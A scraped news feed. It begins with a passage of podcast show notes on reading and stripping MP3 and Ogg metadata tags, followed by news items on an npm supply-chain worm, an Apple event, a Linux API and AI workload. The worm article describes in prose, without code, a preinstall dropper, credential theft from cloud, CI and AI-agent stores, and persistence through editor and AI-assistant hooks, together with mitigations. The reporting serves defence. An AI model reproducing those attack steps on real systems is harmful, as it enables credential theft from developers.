  Duration: 00:30:10.18, start: 0.023021, bitrate: 64 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 48000 Hz, mono, fltp, 64 kb/s</p>

<p>

</p>

<p>
50</p>

<p>
The ID3v2 tag version contains all of the information which was provided by the author, including the full title and description without the 30 character limit of ID3V1.</p>

<p>

</p>

<p>
If you want any of this information for some reason you should be able to extract it from the MP3 file using a combination of ffprobe, grep, and cut rather than trying to scrape the HPR web site and matching it to the MP3 later. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
51 ID3v1 Using ffprobe</p>

<p>

</p>

<p>
I previously mentioned that HPR MP3 files have both ID3v1 and ID3v2 tags in the same file, and that ffprobe will default to using ID3v2 tags if present.</p>

<p>

</p>

<p>
However, what happens if we remove the ID3v2 tags and leave the ID3v1 tags?</p>

<p>
I will describe how to strip tags later on in this episode, but let's just assume for now that I have done this.</p>

<p>

</p>

<p>
If we then use ffprobe to read the ID3 tags using the same command as before, we get the following output.</p>

<p>

</p>

<p>
52</p>

<p>
We get a series of lines in the same format as with ID3v2, but with each data element limited to at most 30 bytes.</p>

<p>
These include title, artist, album, date, comment, and genre. </p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>
Input #0, mp3, from 'test.mp3':</p>

<p>
  Metadata:</p>

<p>
	title           : High Resolution Elapsed Time i</p>

<p>
	artist          : Whiskeyjack</p>

<p>
	album           : Hacker Public Radio</p>

<p>
	date            : 2026</p>

<p>
	comment         : https://hackerpublicradio.or</p>

<p>
	genre           : Podcast</p>

<p>
  Duration: 00:30:10.18, start: 0.023021, bitrate: 64 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 48000 Hz, mono, fltp, 64 kb/s</p>

<p>

</p>

<p>
53</p>

<p>
The information is the same as when read by the id3v2 program, but formatted for display in the manner that ffprobe uses. </p>

<p>

</p>

<p>
This shows that ffprobe can indeed read ID3v1 tags if they are the only ones present. </p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
54 Reading Vorbis Comments</p>

<p>
Now let us turn our attention to vorbis comments, which are the equivalent to tags for ogg files.</p>

<p>
We will look at this using two methods.</p>

<p>

</p>

<p>
55 Using vorbiscomment</p>

<p>
The first method we will look at is using the vorbiscomment package.</p>

<p>
The command is </p>

<p>

</p>

<p>
vorbiscomment -l hpr4678.ogg</p>

<p>

</p>

<p>
56</p>

<p>
The output of this is a series of lines with key value pairs separated by equal signs.</p>

<p>
The output is also exactly the same as the MP3 file, except that there is an additional "language" field, "track" becomes "TRACKNUMBER", and there is no "date" field.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>
encoder=Lavc61.19.101 libvorbis</p>

<p>
TRACKNUMBER=4678</p>

<p>
year=2026</p>

<p>
language=English</p>

<p>
title=High Resolution Elapsed Time in Shell Scripts</p>

<p>
author=Whiskeyjack</p>

<p>
copyright=CC-BY-SA</p>

<p>
artist=Whiskeyjack</p>

<p>
album=Hacker Public Radio</p>

<p>
DESCRIPTION=https://hackerpublicradio.org Clean; Surprises encountered when measuring elapsed time in shell scripts The license is CC-BY-SA</p>

<p>
genre=Podcast</p>

<p>

</p>

<p>

</p>

<p>
57 Using ffprobe</p>

<p>
Now lets do the same again using ffprobe.</p>

<p>
The command for this is</p>

<p>

</p>

<p>
ffprobe -hide_banner hpr4678.ogg</p>

<p>

</p>

<p>
58</p>

<p>
The output content is the same of course, but the field names have all been forced to lower case, and instead of an equal sign as a separator between the key and value, this has been replaced by a colon and white space has been added to make the output look a bit nicer.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>
Input #0, ogg, from 'hpr4678.ogg':</p>

<p>
  Duration: 00:30:10.14, start: 0.000000, bitrate: 86 kb/s</p>

<p>
  Stream #0:0(English): Audio: vorbis, 192000 Hz, mono, fltp, 4294967 kb/s</p>

<p>
	Metadata:</p>

<p>
	  encoder         : Lavc61.19.101 libvorbis</p>

<p>
	  track           : 4678</p>

<p>
	  year            : 2026</p>

<p>
	  title           : High Resolution Elapsed Time in Shell Scripts</p>

<p>
	  author          : Whiskeyjack</p>

<p>
	  copyright       : CC-BY-SA</p>

<p>
	  artist          : Whiskeyjack</p>

<p>
	  album           : Hacker Public Radio</p>

<p>
	  comment         : https://hackerpublicradio.org Clean; Surprises encountered when measuring elapsed time in shell scripts The license is CC-BY-SA</p>

<p>
	  genre           : Podcast</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
59 Another Example from Another Podcast</p>

<p>

</p>

<p>
The above is interesting, but it's a sample of one podcast. Let's look at another different one altogether.</p>

<p>
For this test I used two episodes of the Linux Matters podcast, episodes 68 and 82. As to why I am using two different episodes I will explain in a moment.</p>

<p>

</p>

<p>
60 Episode 68</p>

<p>
We will start with examining episode 68</p>

<p>

</p>

<p>
Using id3v2</p>

<p>
The command using id3v2 is</p>

<p>

</p>

<p>
id3v2 -l LMP68.mp3</p>

<p>

</p>

<p>
61</p>

<p>
This provides output as a series of lines containing the official 4 character identifiers from the standard, a description of the identifiers, and the text provided by the authors.</p>

<p>
The identifiers include TIT2 indicating title, TALB indicating show title, TRCK indicating track number, and a number of others.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>

</p>

<p>
id3v2 tag info for LMP68.mp3:</p>

<p>
TIT2 (Title/songname/content description): 68: Frameworks, Filesystems and Fixes</p>

<p>
TPE1 (Lead performer(s)/Soloist(s)): Linux Matters</p>

<p>
TALB (Album/Movie/Show title): Linux Matters</p>

<p>
TYER (Year): 2025</p>

<p>
TRCK (Track number/Position in set): 68</p>

<p>
COMM (Comments): ()[]: https://linuxmatters.sh/</p>

<p>
APIC (Attached picture): (LMP-3000-moon.jpg)[, 3]: image/jpeg, 554576 bytes</p>

<p>
LMP68.mp3: No ID3v1 tag</p>

<p>

</p>

<p>
62</p>

<p>
From this we can see what the id3v2 program would normally do with ID3v2 tags. </p>

<p>
Note that it outputs the actual 4 character identifiers, plus a description of what they mean, and then the actual data.</p>

<p>
This helps when trying to understand the actual encoding of the data.</p>

<p>

</p>

<p>

</p>

<p>
63 Using ffprobe</p>

<p>
Now let's try that with ffprobe.</p>

<p>

</p>

<p>
The command is</p>

<p>

</p>

<p>
ffprobe -hide_banner LMP68.mp3</p>

<p>

</p>

<p>
64</p>

<p>
This provides the same publisher provided data as before.</p>

<p>
However it does not display the 4 character identifiers but instead uses its own format for display.</p>

<p>

</p>

<p>
Also note in both cases that there is a picture embedded in the MP3 file which is used to generate an icon for display in your file manager.</p>

<p>

</p>

<p>
With ffprobe this results in there being two keys called "title" and two keys called "comment". </p>

<p>
This makes grepping for the metadata more complicated, but it should still be possible.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>

</p>

<p>
Input #0, mp3, from 'LMP68.mp3':</p>

<p>
  Metadata:</p>

<p>
	title           : 68: Frameworks, Filesystems and Fixes</p>

<p>
	artist          : Linux Matters</p>

<p>
	album           : Linux Matters</p>

<p>
	comment         : https://linuxmatters.sh/</p>

<p>
	track           : 68</p>

<p>
	date            : 2025</p>

<p>
  Duration: 00:28:12.45, start: 0.025056, bitrate: 114 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 44100 Hz, mono, fltp, 112 kb/s</p>

<p>
	Metadata:</p>

<p>
	  encoder         : LAME3.100</p>

<p>
  Stream #0:1: Video: mjpeg (Progressive), yuvj444p(pc, bt470bg/unknown/unknown), 4166x4166 [SAR 72:72 DAR 1:1], 90k tbr, 90k tbn (attached pic)</p>

<p>
	Metadata:</p>

<p>
	  title           : LMP-3000-moon.jpg</p>

<p>
	  comment         : Cover (front)</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Episode 82</p>

<p>
Now lets try that again with a different episode, 82.</p>

<p>

</p>

<p>
Using id3v2</p>

<p>

</p>

<p>
The command for id3v2 is</p>

<p>

</p>

<p>
id3v2 -l LMP82.mp3</p>

<p>

</p>

<p>
This results in id3v2 saying</p>

<p>

</p>

<p>
LMP82.mp3: No ID3 tag</p>

<p>

</p>

<p>
What happened here?</p>

<p>

</p>

<p>
66 Using ffprobe</p>

<p>

</p>

<p>
Let's try that again with ffprobe.</p>

<p>
The command</p>

<p>

</p>

<p>
ffprobe -hide_banner LMP82.mp3</p>

<p>

</p>

<p>
provides the expected output.</p>

<p>

</p>

<p>
Input #0, mp3, from 'LMP82.mp3':</p>

<p>
  Metadata:</p>

<p>
	date            : 2026-05</p>

<p>
	title           : 82: Ditching Grammarly for Open Sauce</p>

<p>
	album           : Linux Matters</p>

<p>
	track           : 82</p>

<p>
	artist          : Linux Matters</p>

<p>
	comment         : https://linuxmatters.sh</p>

<p>
  Duration: 00:33:37.83, start: 0.025056, bitrate: 113 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 44100 Hz, mono, fltp, 112 kb/s</p>

<p>
  Stream #0:1: Video: png, rgb24(pc, gbr/unknown/unknown), 3000x3000, 90k tbr, 90k tbn (attached pic)</p>

<p>
	Metadata:</p>

<p>
	  title           : Linux Matters Logo</p>

<p>
	  comment         : Cover (front)</p>

<p>

</p>

<p>
67</p>

<p>
This results in a few minor changes from episode 68, but otherwise it looks the same.</p>

<p>
So there are ID3 tags, but for some reason id3v2 couldn't recognize them.</p>

<p>

</p>

<p>
A bit more research and experimentation shows that this change appears to have happened right after episode 68, when they changed hosting and processing arrangements.</p>

<p>

</p>

<p>
I suspect that something changed with respect to the ID3v2 tag formatting somewhere along the way in the change over, and this in turn has affected the ability of the id3v2 program to recognize the tags.</p>

<p>

</p>

<p>
I will come back to the implications of this later in my conclusions.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
68 Stripping ID3 Tags</p>

<p>

</p>

<p>
Now let's turn to a differen topic. </p>

<p>

</p>

<p>
Stripping ID3 tags refers to removing the ID3 tags from the audio file.</p>

<p>

</p>

<p>
I will start off by emphasizing that normally, you don't want to do this.</p>

<p>
You should only be doing it if you suspect the ID3 tags are causing a problem with the playback or ordering of the files.</p>

<p>

</p>

<p>
69</p>

<p>
In my case I do it when I have problems with my MP3 player when playing certain podcasts.</p>

<p>
This MP3 player orders files according to ID3 tags rather than by file name.</p>

<p>
This can result in the podcasts being played in an unpredictable order which I find undesirable.</p>

<p>
This is particularly a problem with podcasts from certain publishers where the title data does not follow any consistent pattern, but is whatever someone felt like doing that day.</p>

<p>

</p>

<p>
70</p>

<p>
I also often have to normalize the files from the same publishers to get a consistent audio loudness.</p>

<p>
See my series on Simple Podcasting for information on how to use ffmpeg to normalize the audio loudness.</p>

<p>

</p>

<p>
The solution to the inconsistent tag formats in these cases is to simply strip the ID3 tags altogether.</p>

<p>
The player then falls back on using the file names, and I can readily rename the files to a consistent format.</p>

<p>

</p>

<p>
I have never had these sorts of problems with HPR podcasts.</p>

<p>
If you are not having any problems of this nature, then as I said, don't bother stripping the tags.</p>

<p>

</p>

<p>
71</p>

<p>
To strip the ID3 tags from an MP3 file use the following.</p>

<p>

</p>

<p>
id3v2 -D hpr4678.mp3</p>

<p>

</p>

<p>
id3v2 will strip the tags and overwrite the existing file.</p>

<p>
If you wish to keep a copy with the tags, be sure to keep a backup before you try things.</p>

<p>

</p>

<p>
72</p>

<p>
When it comes to stripping tags, the options are</p>

<p>

</p>

<p>
"-s" deletes ID3v1 tags.</p>

<p>
"-d" deletes ID3v2 tags.</p>

<p>
"-D" deletes both v1 and v2 tags.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
73 Conclusions</p>

<p>

</p>

<p>
In this episode we took a very brief look at ID3 tags and vorbis comments and ways of reading them.</p>

<p>

</p>

<p>
74</p>

<p>
ID3 tags and Vorbis comments provide a means of allowing information about an MP3 or OGG Vorbis file to be embedded in the file itself.</p>

<p>
Podcast publishers very often use this to label the file with information such as title, publisher, and author.</p>

<p>
We can read this information using Fee Software tools such as ffprobe, ID3v2, and vorbiscomment.</p>

<p>

</p>

<p>
75</p>

<p>
ID3 tags seem to be a mess with more than one incompatible versions, and difficulties in reading them even within the same version.</p>

<p>
They are difficult to test for because there is so much hardware out there of varying ages, much of which you will never have heard of let alone had access to.</p>

<p>
If you are recording episodes for HPR you do not have to worry about this, as HPR will do this behind the scenes for you.</p>

<p>
However, if you are responsible for producing a podcast or other similar audio and you have a setup that works, it is probably best not to change anything without good reason. </p>

<p>

</p>

<p>
76</p>

<p>
Vorbis comments seem to be much less of a problem.</p>

<p>
However, there are far fewer devices which can play OGG files compared to MP3, so simply switching to OGG may not be a realistic solution to the ID3 tag problem.</p>

<p>

</p>

<p>
77</p>

<p>
If you wish to have one tool that can read ID3 tags of all sorts and vorbis comments, then ffprobe is your obvious choice.</p>

<p>

</p>

<p>
78</p>

<p>
The ID3v2 program will provide more information about the ID3 tags, including the actual identifiers used. However, it does not work in all cases.</p>

<p>

</p>

<p>
79</p>

<p>
The vorbiscomment program will read Vorbis comments from OGG files in a manner which is closer to the actual vorbis format than ffprobe does, which uses its own display format.</p>

<p>

</p>

<p>
80</p>

<p>
HPR includes both ID3v1 and ID3v2 tags in its MP3 files. </p>

<p>
ffprobe can be used to read the ID3v2 tags, and the id3v2 program can be used to read the ID3v1 tags.</p>

<p>
You can also read the ID3v1 tags using the tail command.</p>

<p>

</p>

<p>
81</p>

<p>
I have barely scratched the surface of this subject and have not talked at all about creating tags or comments.</p>

<p>
If anyone else would like to take up the challenge of providing more detail, or of correcting any mistakes that  have made, please send in a podcast episode on the subject.</p>

<p>
If you have any comments you would like to make, leave them in the comment section below this episode on the HPR web site.</p>

<p>

</p>

<p>
82</p>

<p>
I hope to see you all again in future in another episode of HPR.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
References</p>

<p>

</p>

<p>
https://id3.org/Introduction</p>

<p>
https://www.xiph.org/</p>

<p>
https://wiki.xiph.org/VorbisComment</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4698/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ChainDrop credential stealing worm infects over 400 npm packages]]></title>
<description><![CDATA[A self-propagating worm-like attack is hitting the npm registry, having infected 444 packages from more than a dozen publishers so far. The impact is massive, with the packages affected amounting to more than 2 billion monthly downloads combined.



The attack began with the compromise of a GitHu...]]></description>
<link>https://tsecurity.de/de/3704460/it-security-nachrichten/chaindrop-credential-stealing-worm-infects-over-400-npm-packages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704460/it-security-nachrichten/chaindrop-credential-stealing-worm-infects-over-400-npm-packages/</guid>
<pubDate>Wed, 05 Aug 2026 00:41:52 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A self-propagating worm-like attack is hitting the npm registry, having infected 444 packages from more than a dozen publishers so far. The impact is massive, with the packages affected amounting to more than 2 billion monthly downloads combined.</p>



<p class="wp-block-paragraph">The attack began with the compromise of a GitHub account belonging to Jared Wray, who maintains Keyv, a package with over 150 million weekly downloads that provides an interface for interacting with key-value storage across multiple backends. Version 6.0.0 published at around 9:00 UTC on Tuesday contained a new version of the <a href="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html">Shai-Hulud</a> credential stealing malware.</p>



<p class="wp-block-paragraph">The compromised account is also used to maintain a number of other popular packages, including cacheable, flat-cache, file-entry-cache, cacheable-request, cache-manager, ecto, and more. All of these had trojanized versions published as well.</p>



<p class="wp-block-paragraph">Soon after, the attack expanded beyond this account, infecting packages from other organizations on npm — @deliveroo/reevent, @or-sdk/invitations , @picsart/ai-sdk, @qlik/embed-runtime, picasso.js, to name a few. As of 18:10 UTC, StepSecurity <a href="https://www.stepsecurity.io/blog/chaindrop-npm-worm">had detected the malicious code across 444 packages and 2,212 versions</a>.</p>



<p class="wp-block-paragraph">“Every poisoned version carries the same infection pattern: a preinstall dropper that downloads the legitimate Bun JavaScript runtime, and a 710KB obfuscated second stage that steals credentials, publishes more malicious packages, and burrows into AI developer tooling,” researchers from StepSecurity said.</p>



<p class="wp-block-paragraph">Although the code appears to be a new variant of Shai-Hulud — a supply-chain credential stealing worm that has plagued the npm and PyPI repositories since last year in different variations — researchers have decided to dub this new attack campaign ChainDrop because this new version uses the Ethereum blockchain for command and control, a technique known as EtherHiding.</p>



<p class="wp-block-paragraph">“The compromise was carried out by pushing malicious files directly to the main branch and then immediately cutting a new release, meaning the poisoned versions were published to npm with valid provenance signed by GitHub Actions,” researchers from Aikido Security said in <a href="https://www.aikido.dev/blog/keyv-and-friends-compromised-in-npm-supply-chain-attack">a report</a>.</p>



<p class="wp-block-paragraph">Wray confirmed via X that he uses OpenID Connect (OIDC) with npm and one-time codes for GitHub, so he was not using long-term static tokens. The developer regained access to his GitHub account at around 20:00 UTC and <a href="https://x.com/jaredwray/status/2084735469359935697">said he’s doing a full audit</a>.</p>



<h2 class="wp-block-heading">The malware infects AI code assistants</h2>



<p class="wp-block-paragraph">The malicious files added to packages are <code>setup.mjs</code> and <code>Math_Symbol.js</code> — renamed <code>math_init.js</code> in some cases. These get executed by a preinstall script during the npm installation process of the packages and then proceed to download and execute a secondary obfuscated payload on the computer.</p>



<p class="wp-block-paragraph">The malware searches the local environment for cloud credentials, infrastructure secrets, developer access tokens, AI-related configuration files, and cryptocurrency wallets. It also identifies CI/CD workflows and build runners and tries to scrape their memory for temporary secrets injected during the build process.</p>



<p class="wp-block-paragraph">New to this variant are persistent mechanisms deployed inside code editors such as VS Code via <code>tasks.json</code> and AI code assistants such as Claude Code through hooks.</p>



<p class="wp-block-paragraph">“Targets for credential theft have been expanded by almost 70%, with new additions including AI-agent credential stores for Claude, OpenAI, Codex, Cursor and Gemini; cryptocurrency keystores for Foundry, Solana and Monero; self-hosted CI and registry secrets such as Jenkins’ master.key, Argo CD and Harbor; Alibaba Cloud and Tencent Cloud CLI configurations; and system files including <code>/etc/shadow</code>,” researchers from security firm Wiz said in their own <a href="https://www.wiz.io/blog/keyv-and-cacheable-npm-supply-chain-attack">analysis</a>.</p>



<h2 class="wp-block-heading">Mitigation</h2>



<p class="wp-block-paragraph">Unfortunately, enterprise security teams must perform full audits of developer machines. The compromised packages are transient dependencies for thousands of others and if any of the poisoned versions were installed during the attack window, all possible credentials accessible on that machine, or other machines accessible from that machine, need to be rotated.</p>



<p class="wp-block-paragraph">“Rotate, at minimum: npm automation tokens, GitHub personal access tokens and SSH keys, cloud provider credentials (<code>~/.aws</code>, <code>~/.config/gcloud</code>, Azure), Kubernetes service accounts, and any secrets in environment variables or .env files present at install time,” the StepSecurity researchers said. “Maintainers of npm packages should treat their publish credentials as exposed. The second wave of this campaign demonstrates exactly why: additional maintainer accounts published the identical payload within the same hour.”</p>



<p class="wp-block-paragraph">The StepSecurity report includes indicators of compromise, a list of infected packages, as well as defense-in-depth recommendations for developer machines and processes that could have stopped this compromise.</p>



<p class="wp-block-paragraph">Using the <code>-—ignore-scripts</code> npm flag in CI workflows, a technique known as script gating, would have ignored the <code>preinstall</code> script that delivers the payload. Package managers like npm, pnpm, Yarn and Bun now support minimum release age policies for package installation. Configuring this setting to between 3 to 7 days buys users some time in case a newly released version turns out to be poisoned.</p>



<p class="wp-block-paragraph">Security companies continuously scan and monitor the npm registry and new supply chain compromises are usually discovered within minutes or hours. In this case the malicious versions began being removed by the npm team within two hours, but being a worm, the attack keeps propagating via newly compromised developer accounts.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple invites retail employees to help at September iPhone event]]></title>
<description><![CDATA[Apple has invited US retail employees to apply for support roles at its September iPhone event, where the company is expected to introduce the iPhone 18 Pro and its first foldable iPhone.



Bloomberg reports that Apple has opened an internal lottery for retail staff who want to travel to Califor...]]></description>
<link>https://tsecurity.de/de/3704286/ios-mac-os/apple-invites-retail-employees-to-help-at-september-iphone-event/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704286/ios-mac-os/apple-invites-retail-employees-to-help-at-september-iphone-event/</guid>
<pubDate>Tue, 04 Aug 2026 22:36:11 +0200</pubDate>
<content:encoded><![CDATA[Apple has invited US retail employees to apply for support roles at its September iPhone event, where the company is expected to introduce the iPhone 18 Pro and its first foldable iPhone.



Bloomberg reports that Apple has opened an internal lottery for retail staff who want to travel to California and help manage the event. Selected employees will organize lines, check in guests, greet attendees, provide directions, and support security teams during the launch.



Apple told employees that the event will take place during the first half of September, although the company has not confirmed the exact date. The memo described the program as an opportunity for US store team members to join its Event Support Experience Program.



Apple sets application deadline for retail staff



Retail employees must submit their applications by August 8, while Apple plans to notify selected workers by August 17. Employees who supported this year’s Worldwide Developers Conference or last year’s iPhone event cannot apply for the upcoming program.



Apple has used retail workers at major product events for several years, giving store employees a chance to support launches outside their usual locations. Their work helps Apple manage invited guests, media representatives, partners, and other attendees at Apple Park.



Bloomberg says Apple will likely hold the iPhone event on Wednesday, September 9, because Labor Day falls on September 7 this year. A Wednesday event would give attendees enough travel time after the holiday while matching Apple’s usual September schedule.



If Apple follows its normal launch pattern, iPhone 18 Pro and iPhone Fold pre-orders should begin on Friday, September 11, followed by the official release one week later.]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] The beginning of a process-builder API]]></title>
<description><![CDATA[The recent discussion on "spawn templates"
raised questions about whether it was time to provide an alternative to the
classic Unix fork()/exec() pattern for process creation.
One idea that was raised there was to shift the template pattern into an
interface that could be used to efficiently asse...]]></description>
<link>https://tsecurity.de/de/3703322/linux-tipps/the-beginning-of-a-process-builder-api/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703322/linux-tipps/the-beginning-of-a-process-builder-api/</guid>
<pubDate>Tue, 04 Aug 2026 15:29:05 +0200</pubDate>
<content:encoded><![CDATA[The recent <a href="https://lwn.net/Articles/1076018/">discussion on "spawn templates"</a>
raised questions about whether it was time to provide an alternative to the
classic Unix <tt>fork()</tt>/<tt>exec()</tt> pattern for process creation.
One idea that was raised there was to shift the template pattern into an
interface that could be used to efficiently assemble new processes from
bare cloth, without duplicating the parent process.  Preferably, that
interface would be able to implement <a href="https://man7.org/linux/man-pages/man3/posix_spawn.3.html"><tt>posix_spawn()</tt></a>.
Li Chen, the author of the spawn-template work, has now responded with <a href="https://lwn.net/ml/all/cover.1784204592.git.me@linux.beauty">a patch series</a>
(written with significant LLM assistance) showing what a process-builder
API for Linux might look like.]]></content:encoded>
</item>
<item>
<title><![CDATA[Surviving AI: Navigating workload creep, AI slop, and the new tech career playbook]]></title>
<description><![CDATA[After more than 30 years the cybersecurity field, Keith Jones recently realized that his role had changed, from being a single contributor to manager of a fairly large team. And this team was getting a lot accomplished — tasks that used to take up a huge chunk of his workday.



No, his company h...]]></description>
<link>https://tsecurity.de/de/3703041/ai-nachrichten/surviving-ai-navigating-workload-creep-ai-slop-and-the-new-tech-career-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703041/ai-nachrichten/surviving-ai-navigating-workload-creep-ai-slop-and-the-new-tech-career-playbook/</guid>
<pubDate>Tue, 04 Aug 2026 13:36:00 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">After more than 30 years the cybersecurity field, Keith Jones recently realized that his role had changed, from being a single contributor to manager of a fairly large team. And this team was getting a lot accomplished — tasks that used to take up a huge chunk of his workday.</p>



<p class="wp-block-paragraph">No, his company hadn’t hired a group of new employees to work under him. He simply accelerated his use of artificial intelligence tools. Now, instead of grinding through a lot of basic tasks, that work is done for him while he focuses on bigger-picture work.</p>



<p class="wp-block-paragraph">“It really feels like I have a team behind the scenes, but what I have is Claude [Anthropic’s AI tool],” says Jones, who currently works as a cybersecurity researcher. “I’ve been thinking for the last several months about how much differently I work now than I did a year ago, when I would sit and write all the low-level stuff before I could get to the 10% of the good stuff I really wanted to focus on. Now I can sit back and say, ‘Give me three different ways to solve this problem.’”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="678" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Keith Jones, cybersecurity researcher</p>
</figcaption></figure><p class="imageCredit">Keith Jones</p></div>



<p class="wp-block-paragraph">Most people working in the technology field, like Jones, have had to figure out how best to work with AI. The technology has come on strong, with many companies making its use mandatory and actively evaluating whether employees are faster and more efficient because of it. And while it is boosting productivity and taking over the burden of repetitive, manual tasks, it’s also creating a new level of stress and a dizzying kind of mental exhaustion.</p>



<p class="wp-block-paragraph">So what can tech workers do about the <a href="https://www.computerworld.com/article/4047909/burned-out-by-bots-prompt-fatigue-in-workplace.html">heavier mental load</a> that comes with using AI, on top of <a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">escalating worries</a> about the safety of their own jobs? AI users and industry analysts say there are specific ways to ease some of those burdens and prepare for a changing job market.</p>



<h2 class="wp-block-heading">Combating the slop factor</h2>



<p class="wp-block-paragraph">When it comes to working with <a href="https://www.computerworld.com/article/1627101/what-are-large-language-models-and-how-are-they-used-in-generative-ai.html">LLM</a> tools, a well-known issue is dealing with <a href="https://www.cio.com/article/4077448/ai-workslop-the-new-productivity-killer-only-training-can-stop.html" target="_blank">AI workslop</a> and <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">hallucinations</a>. The slop is AI-generated output that is low-quality, buzzword-heavy, and generic. It also can refer to bloated, boilerplate code. Hallucinations are inaccurate or completely made-up results. AI routinely offers this messy or incorrect information with total confidence, giving users a false sense of security.</p>



<p class="wp-block-paragraph">Using this bad data can lead to anything from minor software bugs to severe liabilities. “Don’t believe the machine is infallible,” says <a href="https://www.wpi.edu/people/faculty/cshue" target="_blank" rel="noreferrer noopener">Craig Shue</a>, computer science professor and department head at Worcester Polytechnic Institute (WPI). “That’s when bugs will start working in. There’s a lot of misinformation on the internet, and that could be what the LLM is grabbing and using.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="674" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><p>Craig Shue, computer science professor and department head at Worcester Polytechnic Institute </p>
</figcaption></figure><p class="imageCredit">WPI</p></div>



<p class="wp-block-paragraph">Here are ways to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Make AI show its work:</strong> Ask it to cite its sources or explain its reasoning. Example prompt: <em>Explain the logic and show the steps before writing the code.</em></li>



<li><strong>Give the AI a source of truth:</strong> Instead of letting the AI search the internet for information, give it the exact source material (reports, transcripts, data sheets) to base its output on, telling it to use <em>only</em> the information provided.</li>



<li><strong>Validate. Validate. Validate:</strong> Never let AI publish code directly to the main project without first reviewing and running it locally. Similarly, never take AI output and simply move it on to the next person in the project. Every single AI output needs review.</li>



<li><strong>Don’t be fooled by confidence:</strong> As with managing a human, question the output. When you’re busy or tired, it’s easy to just go with the results it gives you. Don’t. Always analyze and question it.</li>
</ul>



<h2 class="wp-block-heading">Taking on AI-driven workload creep</h2>



<p class="wp-block-paragraph">Let’s face it: The great promise of AI is that it will take over repetitive, manual tasks, which will save you an incredible amount of time. What isn’t talked about as much is that it also can create a new workload — one that can be exhausting in a whole new way.</p>



<p class="wp-block-paragraph">“Is AI saving people time? The short answer is yes,” says <a href="https://www.forrester.com/analyst-bio/j-p-gownder/BIO1728" target="_blank" rel="noreferrer noopener">J.P. Gownder</a>, vice president and principal analyst with Forrester Research. “But people also are being overwhelmed with overproduced things. Everyone wants to look busy and they’re producing more, but not necessarily better. Managers have to push back on that or it’s not really saving you time.”</p>



<p class="wp-block-paragraph">In a <a href="https://investors.upwork.com/news-releases/news-release-details/upwork-research-reveals-new-insights-ai-human-work-dynamic" target="_blank" rel="noreferrer noopener">multi-year study by Upwork</a>, the largest online freelance marketplace, 77% of employees reported that AI had increased their workload. The report noted that a boost in productivity comes with a “significant emotional and relational cost,” with 88% of workers who saw the highest productivity gains also feeling burned out. And IDC’s <a href="https://my.idc.com/getdoc.jsp?containerId=US54338426" target="_blank" rel="noreferrer noopener">Future of Work 2026</a> survey reported that 24% of IT workers report increased workload as a top AI concern.</p>



<p class="wp-block-paragraph">Here are ways to combat the problem:</p>



<ul class="wp-block-list">
<li><strong>Keep it short: </strong>Part of the prompt — always — should be to tell any AI tool to be concise.</li>



<li><strong>Build an anti-slop culture:</strong> Don’t simply accept and pass on workslop. It’s insulting for a co-worker to have to deal with pages of largely useless information.</li>



<li><strong>Filter the noise:</strong> When everyone on a team starts using AI, the volume of Slack messages, long-form memos, and data reports skyrockets. Don’t treat it all with equal importance. Practice radical prioritization.</li>



<li><strong>Manage the transcript deluge:</strong> Stop wading through 40-page meeting transcripts that bury action items. Instead, prompt the system to produce a concise summary focused strictly on deliverables or status updates.</li>



<li><strong>Reduce the AI blast radius: </strong>When asked to fix a bug, AI tools often rewrite hundreds of lines of unrelated code, multiplying your code review time. Prevent this by instructing the tool to isolate its changes <em>only</em> to the specific function or file in question.</li>
</ul>



<h2 class="wp-block-heading">Managing the AI mental tax</h2>



<p class="wp-block-paragraph">Using AI often necessitates a different kind of mental processing, changing what had been the natural pacing of your day and dramatically increasing context switching. Instead of simply building and testing, someone might be jumping back and forth between auditing, fact-checking, prompting, and re-prompting. To manage strain and protect your focus, new strategies are needed.</p>



